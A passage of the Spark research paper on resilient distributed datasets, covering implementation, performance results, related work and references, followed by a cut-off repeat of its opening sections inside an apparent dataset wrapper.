until u\n(a Scala range object) and collect it to update each array:\nval Rb = spark.broadcast(R)\nfor (i <- 1 to ITERATIONS) {\nU = spark.parallelize(0 until u)\n.map(j => updateUser(j, Rb, M))\n.collect()\nM = spark.parallelize(0 until m)\n.map(j => updateUser(j, Rb, U))\n.collect()\n}\n4 Implementation\nSpark is built on top of Mesos [16, 15], a “cluster operat-\ning system” that lets multiple parallel applications share\na cluster in a fine-grained manner and provides an API\nfor applications to launch tasks on a cluster. This allows\nSpark to run alongside existing cluster computing frame-\nworks, such as Mesos ports of Hadoop and MPI, and share\ndata with them. In addition, building on Mesos greatly re-\nduced the programming effort that had to go into Spark.\nThe core of Spark is the implementation of resilient dis-\ntributed datasets. As an example, suppose that we define\na cached dataset called cachedErrs representing error\nmessages in a log file, and that we count its elements us-\ningmap andreduce , as in Section 3.1:\nval file = spark.textFile(\"hdfs://...\")\nval errs = file.filter(_.contains(\"ERROR\"))\nval cachedErrs = errs.cache()\nval ones = cachedErrs.map(_ => 1)\nval count = ones.reduce(_+_)\nThese datasets will be stored as a chain of objects cap-\nturing the lineage of each RDD, shown in Figure 1. Each\ndataset object contains a pointer to its parent and informa-\ntion about how the parent was transformed.\nInternally, each RDD object implements the same sim-\nple interface, which consists of three operations:\n•getPartitions , which returns a list of partition IDs.\n•getIterator(partition) , which iterates over a partition.\n•getPreferredLocations(partition) , which is used for\ntask scheduling to achieve data locality.\nWhen a parallel operation is invoked on a dataset, Spark\ncreates a taskto process each partition of the dataset and\nsends these tasks to worker nodes. We try to send each\nHdfsTextFile path = hdfs://… file: \nFilteredDataset func = _.contains(…) errs: \nCachedDataset cachedErrs: \nMappedDataset func = _ => 1 ones: \nFigure 1: Lineage chain for the distributed dataset objects de-\nfined in the example in Section 4.\ntask to one of its preferred locations using a technique\ncalled delay scheduling [26]. Once launched on a worker,\neach task calls getIterator to start reading its partition.\nThe different types of RDDs differ only in how they\nimplement the RDD interface. For example, for a Hdfs-\nTextFile , the partitions are block IDs in HDFS, their pre-\nferred locations are the block locations, and getIterator\nopens a stream to read a block. In a MappedDataset , the\npartitions and preferred locations are the same as for the\nparent, but the iterator applies the map function to ele-\nments of the parent. Finally, in a CachedDataset , the\ngetIterator method looks for a locally cached copy of a\ntransformed partition, and each partition’s preferred loca-\ntions start out equal to the parent’s preferred locations, but\nget updated after the partition is cached on some node to\nprefer reusing that node. This design makes faults easy to\nhandle: if a node fails, its partitions are re-read from their\nparent datasets and eventually cached on other nodes.\nFinally, shipping tasks to workers requires shipping\nclosures to them—both the closures used to define a dis-\ntributed dataset, and closures passed to operations such as\nreduce . To achieve this, we rely on the fact that Scala clo-\nsures are Java objects and can be serialized using Java se-\nrialization; this is a feature of Scala that makes it relatively\nstraightforward to send a computation to another machine.\nScala’s built-in closure implementation is not ideal, how-\never, because we have found cases where a closure object\nreferences variables in the closure’s outer scope that are\nnot actually used in its body. We have filed a bug report\nabout this, but in the meantime, we have solved the issue\nby performing a static analysis of closure classes’ byte-\ncode to detect these unused variables and set the corre-\nsponding fields in the closure object to null . We omit\nthe details of this analysis due to lack of space.\nShared Variables: The two types of shared variables in\nSpark, broadcast variables and accumulators, are imple-\nmented using classes with custom serialization formats.\nWhen one creates a broadcast variable bwith a value v,\nvis saved to a file in a shared file system. The serialized\nform of bis a path to this file. When b’s value is queried\n4on a worker node, Spark first checks whether vis in a\nlocal cache, and reads it from the file system if it isn’t.\nWe initially used HDFS to broadcast variables, but we are\ndeveloping a more efficient streaming broadcast system.\nAccumulators are implemented using a different “se-\nrialization trick.” Each accumulator is given a unique ID\nwhen it is created. When the accumulator is saved, its\nserialized form contains its ID and the “zero” value for\nits type. On the workers, a separate copy of the accu-\nmulator is created for each thread that runs a task using\nthread-local variables, and is reset to zero when a task be-\ngins. After each task runs, the worker sends a message to\nthe driver program containing the updates it made to var-\nious accumulators. The driver applies updates from each\npartition of each operation only once to prevent double-\ncounting when tasks are re-executed due to failures.\nInterpreter Integration: Due to lack of space, we only\nsketch how we have integrated Spark into the Scala inter-\npreter. The Scala interpreter normally operates by com-\npiling a class for each line typed by the user. This class\nincludes a singleton object that contains the variables or\nfunctions on that line and runs the line’s code in its con-\nstructor. For example, if the user types var x = 5 fol-\nlowed by println(x) , the interpreter defines a class (say\nLine1 ) containing xand causes the second line to com-\npile to println(Line1.getInstance().x) . These\nclasses are loaded into the JVM to run each line. To make\nthe interpreter work with Spark, we made two changes:\n1. We made the interpreter output the classes it defines\nto a shared filesystem, from which they can be loaded\nby the workers using a custom Java class loader.\n2. We changed the generated code so that the singleton\nobject for each line references the singleton objects\nfor previous lines directly, rather than going through\nthe static getInstance methods. This allows clo-\nsures to capture the current state of the singletons they\nreference whenever they are serialized to be sent to a\nworker. If we had not done this, then updates to the\nsingleton objects (e.g., a line setting x = 7 in the ex-\nample above) would not propagate to the workers.\n5 Results\nAlthough our implementation of Spark is still at an early\nstage, we relate the results of three experiments that show\nits promise as a cluster computing framework.\nLogistic Regression: We compared the performance of\nthe logistic regression job in Section 3.2 to an implemen-\ntation of logistic regression for Hadoop, using a 29 GB\ndataset on 20 “m1.xlarge” EC2 nodes with 4 cores each.\nThe results are shown in Figure 2. With Hadoop, each\niteration takes 127s, because it runs as an independent\nMapReduce job. With Spark, the first iteration takes 174s\n(likely due to using Scala instead of Java), but subsequent\n0 1000 2000 3000 4000 1 5 10 20 30 Running Time (s) Number of Iterations Hadoop Spark Figure 2: Logistic regression performance in Hadoop and Spark.\niterations take only 6s, each because they reuse cached\ndata. This allows the job to run up to 10x faster.\nWe have also tried crashing a node while the job was\nrunning. In the 10-iteration case, this slows the job down\nby 50s (21%) on average. The data partitions on the\nlost node are recomputed and cached in parallel on other\nnodes, but the recovery time was rather high in the cur-\nrent experiment because we used a high HDFS block size\n(128 MB), so there were only 12 blocks per node and the\nrecovery process could not utilize all cores in the cluster.\nSmaller block sizes would yield faster recovery times.\nAlternating Least Squares: We have implemented the\nalternating least squares job in Section 3.3 to measure the\nbenefit of broadcast variables for iterative jobs that copy\na shared dataset to multiple nodes. We found that without\nusing broadcast variables, the time to resend the ratings\nmatrix Ron each iteration dominated the job’s running\ntime. Furthermore, with a na ¨ıve implementation of broad-\ncast (using HDFS or NFS), the broadcast time grew lin-\nearly with the number of nodes, limiting the scalability of\nthe job. We implemented an application-level multicast\nsystem to mitigate this. However, even with fast broad-\ncast, resending Ron each iteration is costly. Caching R\nin memory on the workers using a broadcast variable im-\nproved performance by 2.8x in an experiment with 5000\nmovies and 15000 users on a 30-node EC2 cluster.\nInteractive Spark: We used the Spark interpreter to\nload a 39 GB dump of Wikipedia in memory across 15\n“m1.xlarge” EC2 machines and query it interactively. The\nfirst time the dataset is queried, it takes roughly 35 sec-\nonds, comparable to running a Hadoop job on it. How-\never, subsequent queries take only 0.5 to 1 seconds, even\nif they scan all the data. This provides a qualitatively dif-\nferent experience, comparable to working with local data.\n6 Related Work\nDistributed Shared Memory: Spark’s resilient dis-\ntributed datasets can be viewed as an abstraction for dis-\ntributed shared memory (DSM), which has been studied\nextensively [20]. RDDs differ from DSM interfaces in\ntwo ways. First, RDDs provide a much more restricted\n5programming model, but one that lets datasets be rebuilt\nefficiently if cluster nodes fail. While some DSM systems\nachieve fault tolerance through checkpointing [18], Spark\nreconstructs lost partitions of RDDs using lineage infor-\nmation captured in the RDD objects. This means that only\nthe lost partitions need to be recomputed, and that they\ncan be recomputed in parallel on different nodes, without\nrequiring the program to revert to a checkpoint. In addi-\ntion, there is no overhead if no nodes fail. Second, RDDs\npush computation to the data as in MapReduce [11], rather\nthan letting arbitrary nodes access a global address space.\nOther systems have also restricted the DSM program-\nming model to improve performance, reliability and pro-\ngrammability. Munin [8] lets programmers annotate vari-\nables with the access pattern they will have so as to choose\nan optimal consistency protocol for them. Linda [13] pro-\nvides a tuple space programming model that may be im-\nplemented in a fault-tolerant fashion. Thor [19] provides\nan interface to persistent shared objects.\nCluster Computing Frameworks: Spark’s parallel op-\nerations fit into the MapReduce model [11]. However,\nthey operate on RDDs that can persist across operations.\nThe need to extend MapReduce to support iterative jobs\nwas also recognized by Twister [6, 12], a MapReduce\nframework that allows long-lived map tasks to keep static\ndata in memory between jobs. However, Twister does not\ncurrently implement fault tolerance. Spark’s abstraction\nof resilient distributed datasets is both fault-tolerant and\nmore general than iterative MapReduce. A Spark program\ncan define multiple RDDs and alternate between running\noperations on them, whereas a Twister program has only\none map function and one reduce function. This also\nmakes Spark useful for interactive data analysis, where\na user can define several datasets and then query them.\nSpark’s broadcast variables provide a similar facility to\nHadoop’s distributed cache [2], which can disseminate a\nfile to all nodes running a particular job. However, broad-\ncast variables can be reused across parallel operations.\nLanguage Integration: Spark’s language integration is\nsimilar to that of DryadLINQ [25], which uses .NET’s\nsupport for language integrated queries to capture an ex-\npression tree defining a query and run it on a cluster.\nUnlike DryadLINQ, Spark allows RDDs to persist in\nmemory across parallel operations. In addition, Spark\nenriches the language integration model by supporting\nshared variables (broadcast variables and accumulators),\nimplemented using classes with custom serialized forms.\nWe were inspired to use Scala for language integration\nby SMR [14], a Scala interface for Hadoop that uses clo-\nsures to define map and reduce tasks. Our contributions\nover SMR are shared variables and a more robust imple-\nmentation of closure serialization (described in Section 4).\nFinally, IPython [22] is a Python interpreter for scien-tists that lets users launch computations on a cluster using\na fault-tolerant task queue interface or low-level message\npassing interface. Spark provides a similar interactive in-\nterface, but focuses on data-intensive computations.\nLineage: Capturing lineage or provenance information\nfor datasets has long been a research topic in the scien-\ntific computing an database fields, for applications such\nas explaining results, allowing them to be reproduced by\nothers, and recomputing data if a bug is found in a work-\nflow step or if a dataset is lost. We refer the reader to [7],\n[23] and [9] for surveys of this work. Spark provides a re-\nstricted parallel programming model where fine-grained\nlineage is inexpensive to capture, so that this information\ncan be used to recompute lost dataset elements.\n7 Discussion and Future Work\nSpark provides three simple data abstractions for pro-\ngramming clusters: resilient distributed datasets (RDDs),\nand two restricted types of shared variables: broadcast\nvariables and accumulators. While these abstractions are\nlimited, we have found that they are powerful enough to\nexpress several applications that pose challenges for exist-\ning cluster computing frameworks, including iterative and\ninteractive computations. Furthermore, we believe that\nthe core idea behind RDDs, of a dataset handle that has\nenough information to (re)construct the dataset from data\navailable in reliable storage, may prove useful in develop-\ning other abstractions for programming clusters.\nIn future work, we plan to focus on four areas:\n1. Formally characterize the properties of RDDs and\nSpark’s other abstractions, and their suitability for var-\nious classes of applications and workloads.\n2. Enhance the RDD abstraction to allow programmers\nto trade between storage cost and re-construction cost.\n3. Define new operations to transform RDDs, including\na “shuffle” operation that repartitions an RDD by a\ngiven key. Such an operation would allow us to im-\nplement group-bys and joins.\n4. Provide higher-level interactive interfaces on top of\nthe Spark interpreter, such as SQL and R [4] shells.\n8 Acknowledgements\nWe thank Ali Ghodsi for his feedback on this paper. This\nresearch was supported by California MICRO, Califor-\nnia Discovery, the Natural Sciences and Engineering Re-\nsearch Council of Canada, as well as the following Berke-\nley RAD Lab sponsors: Sun Microsystems, Google, Mi-\ncrosoft, Amazon, Cisco, Cloudera, eBay, Facebook, Fu-\njitsu, HP, Intel, NetApp, SAP, VMware, and Yahoo!.\nReferences\n[1] Apache Hive. http://hadoop.apache.org/hive.\n6[2] Hadoop Map/Reduce tutorial. http://hadoop.apache.org/\ncommon/docs/r0.20.0/mapred tutorial.html.\n[3] Logistic regression – Wikipedia.\nhttp://en.wikipedia.org/wiki/Logistic regression.\n[4] The R project for statistical computing.\nhttp://www.r-project.org.\n[5] Scala programming language. http://www.scala-lang.org.\n[6] Twister: Iterative MapReduce.\nhttp://iterativemapreduce.org.\n[7] R. Bose and J. Frew. Lineage retrieval for scientific data\nprocessing: a survey. ACM Computing Surveys , 37:1–28,\n2005.\n[8] J. B. Carter, J. K. Bennett, and W. Zwaenepoel.\nImplementation and performance of Munin. In SOSP ’91 .\nACM, 1991.\n[9] J. Cheney, L. Chiticariu, and W.-C. Tan. Provenance in\ndatabases: Why, how, and where. Foundations and Trends\nin Databases , 1(4):379–474, 2009.\n[10] C. T. Chu, S. K. Kim, Y . A. Lin, Y . Yu, G. R. Bradski,\nA. Y . Ng, and K. Olukotun. Map-reduce for machine\nlearning on multicore. In NIPS ’06 , pages 281–288. MIT\nPress, 2006.\n[11] J. Dean and S. Ghemawat. MapReduce: Simplified data\nprocessing on large clusters. Commun. ACM ,\n51(1):107–113, 2008.\n[12] J. Ekanayake, S. Pallickara, and G. Fox. MapReduce for\ndata intensive scientific analyses. In ESCIENCE ’08 ,\npages 277–284, Washington, DC, USA, 2008. IEEE\nComputer Society.\n[13] D. Gelernter. Generative communication in linda. ACM\nTrans. Program. Lang. Syst. , 7(1):80–112, 1985.\n[14] D. Hall. A scalable language, and a scalable framework.\nhttp://www.scala-blogs.org/2008/09/scalable-language-\nand-scalable.html.\n[15] B. Hindman, A. Konwinski, M. Zaharia, A. Ghodsi, A. D.\nJoseph, R. H. Katz, S. Shenker, and I. Stoica. Mesos: A\nplatform for fine-grained resource sharing in the data\ncenter. Technical Report UCB/EECS-2010-87, EECS\nDepartment, University of California, Berkeley, May\n2010.\n[16] B. Hindman, A. Konwinski, M. Zaharia, and I. Stoica. A\ncommon substrate for cluster computing. In Workshop on\nHot Topics in Cloud Computing (HotCloud) 2009 , 2009.\n[17] M. Isard, M. Budiu, Y . Yu, A. Birrell, and D. Fetterly.\nDryad: Distributed data-parallel programs from sequential\nbuilding blocks. In EuroSys 2007 , pages 59–72, 2007.\n[18] A.-M. Kermarrec, G. Cabillic, A. Gefflaut, C. Morin, and\nI. Puaut. A recoverable distributed shared memory\nintegrating coherence and recoverability. In FTCS ’95 .\nIEEE Computer Society, 1995.\n[19] B. Liskov, A. Adya, M. Castro, S. Ghemawat, R. Gruber,\nU. Maheshwari, A. C. Myers, M. Day, and L. Shrira. Safe\nand efficient sharing of persistent objects in thor. In\nSIGMOD ’96 , pages 318–329. ACM, 1996.\n[20] B. Nitzberg and V . Lo. Distributed shared memory: a\nsurvey of issues and algorithms. Computer , 24(8):52 –60,\naug 1991.\n[21] C. Olston, B. Reed, U. Srivastava, R. Kumar, and\nA. Tomkins. Pig latin: a not-so-foreign language for dataprocessing. In SIGMOD ’08 . ACM, 2008.\n[22] F. P ´erez and B. E. Granger. IPython: a system for\ninteractive scientific computing. Comput. Sci. Eng. ,\n9(3):21–29, May 2007.\n[23] Y . L. Simmhan, B. Plale, and D. Gannon. A survey of\ndata provenance in e-science. SIGMOD Rec. ,\n34(3):31–36, 2005.\n[24] H.-c. Yang, A. Dasdan, R.-L. Hsiao, and D. S. Parker.\nMap-reduce-merge: simplified relational data processing\non large clusters. In SIGMOD ’07 , pages 1029–1040.\nACM, 2007.\n[25] Y . Yu, M. Isard, D. Fetterly, M. Budiu, ´U. Erlingsson,\nP. K. Gunda, and J. Currey. DryadLINQ: A system for\ngeneral-purpose distributed data-parallel computing using\na high-level language. In OSDI ’08 , San Diego, CA, 2008.\n[26] M. Zaharia, D. Borthakur, J. Sen Sarma, K. Elmeleegy,\nS. Shenker, and I. Stoica. Delay scheduling: A simple\ntechnique for achieving locality and fairness in cluster\nscheduling. In EuroSys 2010 , April 2010.\n[27] Y . Zhou, D. Wilkinson, R. Schreiber, and R. Pan.\nLarge-scale parallel collaborative filtering for the Netflix\nprize. In AAIM ’08 , pages 337–348, Berlin, Heidelberg,\n2008. Springer-Verlag.\n7"}],"string":"[\n {\n \"data\": \"Spark: Cluster Computing with Working Sets\\nMatei Zaharia, Mosharaf Chowdhury, Michael J. Franklin, Scott Shenker, Ion Stoica\\nUniversity of California, Berkeley\\nAbstract\\nMapReduce and its variants have been highly successful\\nin implementing large-scale data-intensive applications\\non commodity clusters. However, most of these systems\\nare built around an acyclic data flow model that is not\\nsuitable for other popular applications. This paper fo-\\ncuses on one such class of applications: those that reuse\\na working set of data across multiple parallel operations.\\nThis includes many iterative machine learning algorithms,\\nas well as interactive data analysis tools. We propose a\\nnew framework called Spark that supports these applica-\\ntions while retaining the scalability and fault tolerance of\\nMapReduce. To achieve these goals, Spark introduces an\\nabstraction called resilient distributed datasets (RDDs).\\nAn RDD is a read-only collection of objects partitioned\\nacross a set of machines that can be rebuilt if a partition\\nis lost. Spark can outperform Hadoop by 10x in iterative\\nmachine learning jobs, and can be used to interactively\\nquery a 39 GB dataset with sub-second response time.\\n1 Introduction\\nA new model of cluster computing has become widely\\npopular, in which data-parallel computations are executed\\non clusters of unreliable machines by systems that auto-\\nmatically provide locality-aware scheduling, fault toler-\\nance, and load balancing. MapReduce [11] pioneered this\\nmodel, while systems like Dryad [17] and Map-Reduce-\\nMerge [24] generalized the types of data flows supported.\\nThese systems achieve their scalability and fault tolerance\\nby providing a programming model where the user creates\\nacyclic data flow graphs to pass input data through a set of\\noperators. This allows the underlying system to manage\\nscheduling and to react to faults without user intervention.\\nWhile this data flow programming model is useful for a\\nlarge class of applications, there are applications that can-\\nnot be expressed efficiently as acyclic data flows. In this\\npaper, we focus on one such class of applications: those\\nthat reuse a working set of data across multiple parallel\\noperations. This includes two use cases where we have\\nseen Hadoop users report that MapReduce is deficient:\\n•Iterative jobs : Many common machine learning algo-\\nrithms apply a function repeatedly to the same dataset\\nto optimize a parameter (e.g., through gradient de-\\nscent). While each iteration can be expressed as aMapReduce/Dryad job, each job must reload the data\\nfrom disk, incurring a significant performance penalty.\\n•Interactive analytics : Hadoop is often used to run\\nad-hoc exploratory queries on large datasets, through\\nSQL interfaces such as Pig [21] and Hive [1]. Ideally,\\na user would be able to load a dataset of interest into\\nmemory across a number of machines and query it re-\\npeatedly. However, with Hadoop, each query incurs\\nsignificant latency (tens of seconds) because it runs as\\na separate MapReduce job and reads data from disk.\\nThis paper presents a new cluster computing frame-\\nwork called Spark, which supports applications with\\nworking sets while providing similar scalability and fault\\ntolerance properties to MapReduce.\\nThe main abstraction in Spark is that of a resilient dis-\\ntributed dataset (RDD), which represents a read-only col-\\nlection of objects partitioned across a set of machines that\\ncan be rebuilt if a partition is lost. Users can explicitly\\ncache an RDD in memory across machines and reuse it\\nin multiple MapReduce-like parallel operations . RDDs\\nachieve fault tolerance through a notion of lineage : if a\\npartition of an RDD is lost, the RDD has enough infor-\\nmation about how it was derived from other RDDs to be\\nable to rebuild just that partition. Although RDDs are\\nnot a general shared memory abstraction, they represent\\na sweet-spot between expressivity on the one hand and\\nscalability and reliability on the other hand, and we have\\nfound them well-suited for a variety of applications.\\nSpark is implemented in Scala [5], a statically typed\\nhigh-level programming language for the Java VM, and\\nexposes a functional programming interface similar to\\nDryadLINQ [25]. In addition, Spark can be used inter-\\nactively from a modified version of the Scala interpreter,\\nwhich allows the user to define RDDs, functions, vari-\\nables and classes and use them in parallel operations on a\\ncluster. We believe that Spark is the first system to allow\\nan efficient, general-purpose programming language to be\\nused interactively to process large datasets on a cluster.\\nAlthough our implementation of Spark is still a proto-\\ntype, early experience with the system is encouraging. We\\nshow that Spark can outperform Hadoop by 10x in itera-\\ntive machine learning workloads and can be used interac-\\ntively to scan a 39 GB dataset with sub-second latency.\\nThis paper is organized as follows. Section 2 describes\\n1Spark’s programming model and RDDs. Section 3 shows\\nsome example jobs. Section 4 describes our implemen-\\ntation, including our integration into Scala and its inter-\\npreter. Section 5 presents early results. We survey related\\nwork in Section 6 and end with a discussion in Section 7.\\n2 Programming Model\\nTo use Spark, developers write a driver program that im-\\nplements the high-level control flow of their application\\nand launches various operations in parallel. Spark pro-\\nvides two main abstractions for parallel programming:\\nresilient distributed datasets andparallel operations on\\nthese datasets (invoked by passing a function to apply on\\na dataset). In addition, Spark supports two restricted types\\nofshared variables that can be used in functions running\\non the cluster, which we shall explain later.\\n2.1 Resilient Distributed Datasets (RDDs)\\nA resilient distributed dataset (RDD) is a read-only col-\\nlection of objects partitioned across a set of machines that\\ncan be rebuilt if a partition is lost. The elements of an\\nRDD need not exist in physical storage; instead, a handle\\nto an RDD contains enough information to compute the\\nRDD starting from data in reliable storage. This means\\nthat RDDs can always be reconstructed if nodes fail.\\nIn Spark, each RDD is represented by a Scala object.\\nSpark lets programmers construct RDDs in four ways:\\n•From a filein a shared file system, such as the Hadoop\\nDistributed File System (HDFS).\\n•By“parallelizing” a Scala collection (e.g., an array)\\nin the driver program, which means dividing it into a\\nnumber of slices that will be sent to multiple nodes.\\n•Bytransforming an existing RDD. A dataset with ele-\\nments of type Acan be transformed into a dataset with\\nelements of type Busing an operation called flatMap ,\\nwhich passes each element through a user-provided\\nfunction of type A⇒List [B].1Other transforma-\\ntions can be expressed using flatMap , including map\\n(pass elements through a function of type A⇒B)\\nandfilter (pick elements matching a predicate).\\n•By changing the persistence of an existing RDD. By\\ndefault, RDDs are lazy and ephemeral. That is, par-\\ntitions of a dataset are materialized on demand when\\nthey are used in a parallel operation (e.g., by passing\\na block of a file through a map function), and are dis-\\ncarded from memory after use.2However, a user can\\nalter the persistence of an RDD through two actions:\\n–Thecache action leaves the dataset lazy, but hints\\nthat it should be kept in memory after the first time\\nit is computed, because it will be reused.\\n1flatMap has the same semantics as the map in MapReduce, but map\\nis usually used to refer to a one-to-one function of type A⇒Bin Scala.\\n2This is how “distributed collections” function in DryadLINQ.–The save action evaluates the dataset and writes\\nit to a distributed filesystem such as HDFS. The\\nsaved version is used in future operations on it.\\nWe note that our cache action is only a hint: if there is\\nnot enough memory in the cluster to cache all partitions of\\na dataset, Spark will recompute them when they are used.\\nWe chose this design so that Spark programs keep work-\\ning (at reduced performance) if nodes fail or if a dataset is\\ntoo big. This idea is loosely analogous to virtual memory.\\nWe also plan to extend Spark to support other levels of\\npersistence (e.g., in-memory replication across multiple\\nnodes). Our goal is to let users trade off between the cost\\nof storing an RDD, the speed of accessing it, the proba-\\nbility of losing part of it, and the cost of recomputing it.\\n2.2 Parallel Operations\\nSeveral parallel operations can be performed on RDDs:\\n•reduce : Combines dataset elements using an associa-\\ntive function to produce a result at the driver program.\\n•collect : Sends all elements of the dataset to the driver\\nprogram. For example, an easy way to update an array\\nin parallel is to parallelize, map and collect the array.\\n•foreach : Passes each element through a user provided\\nfunction. This is only done for the side effects of the\\nfunction (which might be to copy data to another sys-\\ntem or to update a shared variable as explained below).\\nWe note that Spark does not currently support a\\ngrouped reduce operation as in MapReduce; reduce re-\\nsults are only collected at one process (the driver).3We\\nplan to support grouped reductions in the future using\\na “shuffle” transformation on distributed datasets, as de-\\nscribed in Section 7. However, even using a single re-\\nducer is enough to express a variety of useful algorithms.\\nFor example, a recent paper on MapReduce for ma-\\nchine learning on multicore systems [10] implemented ten\\nlearning algorithms without supporting parallel reduction.\\n2.3 Shared Variables\\nProgrammers invoke operations like map,filter andre-\\nduce by passing closures (functions) to Spark. As is typi-\\ncal in functional programming, these closures can refer to\\nvariables in the scope where they are created. Normally,\\nwhen Spark runs a closure on a worker node, these vari-\\nables are copied to the worker. However, Spark also lets\\nprogrammers create two restricted types of shared vari-\\nables to support two simple but common usage patterns:\\n•Broadcast variables : If a large read-only piece of data\\n(e.g., a lookup table) is used in multiple parallel op-\\nerations, it is preferable to distribute it to the workers\\nonly once instead of packaging it with every closure.\\nSpark lets the programmer create a “broadcast vari-\\n3Local reductions are first performed at each node, however.\\n2able” object that wraps the value and ensures that it is\\nonly copied to each worker once.\\n•Accumulators : These are variables that workers can\\nonly “add” to using an associative operation, and that\\nonly the driver can read. They can be used to im-\\nplement counters as in MapReduce and to provide a\\nmore imperative syntax for parallel sums. Accumu-\\nlators can be defined for any type that has an “add”\\noperation and a “zero” value. Due to their “add-only”\\nsemantics, they are easy to make fault-tolerant.\\n3 Examples\\nWe now show some sample Spark programs. Note that we\\nomit variable types because Scala supports type inference.\\n3.1 Text Search\\nSuppose that we wish to count the lines containing errors\\nin a large log file stored in HDFS. This can be imple-\\nmented by starting with a file dataset object as follows:\\nval file = spark.textFile(\\\"hdfs://...\\\")\\nval errs = file.filter(_.contains(\\\"ERROR\\\"))\\nval ones = errs.map(_ => 1)\\nval count = ones.reduce(_+_)\\nWe first create a distributed dataset called file that\\nrepresents the HDFS file as a collection of lines. We trans-\\nform this dataset to create the set of lines containing “ER-\\nROR” ( errs ), and then map each line to a 1 and add up\\nthese ones using reduce . The arguments to filter,map and\\nreduce are Scala syntax for function literals.\\nNote that errs andones are lazy RDDs that are never\\nmaterialized. Instead, when reduce is called, each worker\\nnode scans input blocks in a streaming manner to evaluate\\nones , adds these to perform a local reduce, and sends its\\nlocal count to the driver. When used with lazy datasets in\\nthis manner, Spark closely emulates MapReduce.\\nWhere Spark differs from other frameworks is that it\\ncan make some of the intermediate datasets persist across\\noperations. For example, if wanted to reuse the errs\\ndataset, we could create a cached RDD from it as follows:\\nval cachedErrs = errs.cache()\\nWe would now be able to invoke parallel operations on\\ncachedErrs or on datasets derived from it as usual, but\\nnodes would cache partitions of cachedErrs in memory\\nafter the first time they compute them, greatly speeding\\nup subsequent operations on it.\\n3.2 Logistic Regression\\nThe following program implements logistic regression\\n[3], an iterative classification algorithm that attempts to\\nfind a hyperplane wthat best separates two sets of points.\\nThe algorithm performs gradient descent: it starts wat a\\nrandom value, and on each iteration, it sums a function ofwover the data to move win a direction that improves it.\\nIt thus benefits greatly from caching the data in memory\\nacross iterations. We do not explain logistic regression in\\ndetail, but we use it to show a few new Spark features.\\n// Read points from a text file and cache them\\nval points = spark.textFile(...)\\n.map(parsePoint).cache()\\n// Initialize w to random D-dimensional vector\\nvar w = Vector.random(D)\\n// Run multiple iterations to update w\\nfor (i <- 1 to ITERATIONS) {\\nval grad = spark.accumulator(new Vector(D))\\nfor (p <- points) { // Runs in parallel\\nval s = (1/(1+exp(-p.y *(w dot p.x)))-1) *p.y\\ngrad += s *p.x\\n}\\nw -= grad.value\\n}\\nFirst, although we create an RDD called points , we\\nprocess it by running a for loop over it. The for key-\\nword in Scala is syntactic sugar for invoking the foreach\\nmethod of a collection with the loop body as a closure.\\nThat is, the code for(p <- points) {body }is equiv-\\nalent to points.foreach(p => {body }). Therefore,\\nwe are invoking Spark’s parallel foreach operation.\\nSecond, to sum up the gradient, we use an accumulator\\nvariable called gradient (with a value of type V ector ).\\nNote that the loop adds to gradient using an overloaded\\n+=operator. The combination of accumulators and for\\nsyntax allows Spark programs to look much like impera-\\ntive serial programs. Indeed, this example differs from a\\nserial version of logistic regression in only three lines.\\n3.3 Alternating Least Squares\\nOur final example is an algorithm called alternating least\\nsquares (ALS). ALS is used for collaborative filtering\\nproblems, such as predicting users’ ratings for movies that\\nthey have not seen based on their movie rating history (as\\nin the Netflix Challenge). Unlike our previous examples,\\nALS is CPU-intensive rather than data-intensive.\\nWe briefly sketch ALS and refer the reader to [27] for\\ndetails. Suppose that we wanted to predict the ratings of u\\nusers for mmovies, and that we had a partially filled ma-\\ntrixRcontaining the known ratings for some user-movie\\npairs. ALS models Ras the product of two matrices M\\nandUof dimensions m×kandk×urespectively; that\\nis, each user and each movie has a k-dimensional “feature\\nvector” describing its characteristics, and a user’s rating\\nfor a movie is the dot product of its feature vector and the\\nmovie’s. ALS solves for MandUusing the known rat-\\nings and then computes M×Uto predict the unknown\\nones. This is done using the following iterative process:\\n1. Initialize Mto a random value.\\n2. Optimize Ugiven Mto minimize error on R.\\n33. Optimize Mgiven Uto minimize error on R.\\n4. Repeat steps 2 and 3 until convergence.\\nALS can be parallelized by updating different users /\\nmovies on each node in steps 2 and 3. However, because\\nall of the steps use R, it is helpful to make Ra broadcast\\nvariable so that it does not get re-sent to each node on each\\nstep. A Spark implementation of ALS that does is shown\\nbelow. Note that we parallelize the collection 0 until u\\n(a Scala range object) and collect it to update each array:\\nval Rb = spark.broadcast(R)\\nfor (i <- 1 to ITERATIONS) {\\nU = spark.parallelize(0 until u)\\n.map(j => updateUser(j, Rb, M))\\n.collect()\\nM = spark.parallelize(0 until m)\\n.map(j => updateUser(j, Rb, U))\\n.collect()\\n}\\n4 Implementation\\nSpark is built on top of Mesos [16, 15], a “cluster operat-\\ning system” that lets multiple parallel applications share\\na cluster in a fine-grained manner and provides an API\\nfor applications to launch tasks on a cluster. This allows\\nSpark to run alongside existing cluster computing frame-\\nworks, such as Mesos ports of Hadoop and MPI, and share\\ndata with them. In addition, building on Mesos greatly re-\\nduced the programming effort that had to go into Spark.\\nThe core of Spark is the implementation of resilient dis-\\ntributed datasets. As an example, suppose that we define\\na cached dataset called cachedErrs representing error\\nmessages in a log file, and that we count its elements us-\\ningmap andreduce , as in Section 3.1:\\nval file = spark.textFile(\\\"hdfs://...\\\")\\nval errs = file.filter(_.contains(\\\"ERROR\\\"))\\nval cachedErrs = errs.cache()\\nval ones = cachedErrs.map(_ => 1)\\nval count = ones.reduce(_+_)\\nThese datasets will be stored as a chain of objects cap-\\nturing the lineage of each RDD, shown in Figure 1. Each\\ndataset object contains a pointer to its parent and informa-\\ntion about how the parent was transformed.\\nInternally, each RDD object implements the same sim-\\nple interface, which consists of three operations:\\n•getPartitions , which returns a list of partition IDs.\\n•getIterator(partition) , which iterates over a partition.\\n•getPreferredLocations(partition) , which is used for\\ntask scheduling to achieve data locality.\\nWhen a parallel operation is invoked on a dataset, Spark\\ncreates a taskto process each partition of the dataset and\\nsends these tasks to worker nodes. We try to send each\\nHdfsTextFile path = hdfs://… file: \\nFilteredDataset func = _.contains(…) errs: \\nCachedDataset cachedErrs: \\nMappedDataset func = _ => 1 ones: \\nFigure 1: Lineage chain for the distributed dataset objects de-\\nfined in the example in Section 4.\\ntask to one of its preferred locations using a technique\\ncalled delay scheduling [26]. Once launched on a worker,\\neach task calls getIterator to start reading its partition.\\nThe different types of RDDs differ only in how they\\nimplement the RDD interface. For example, for a Hdfs-\\nTextFile , the partitions are block IDs in HDFS, their pre-\\nferred locations are the block locations, and getIterator\\nopens a stream to read a block. In a MappedDataset , the\\npartitions and preferred locations are the same as for the\\nparent, but the iterator applies the map function to 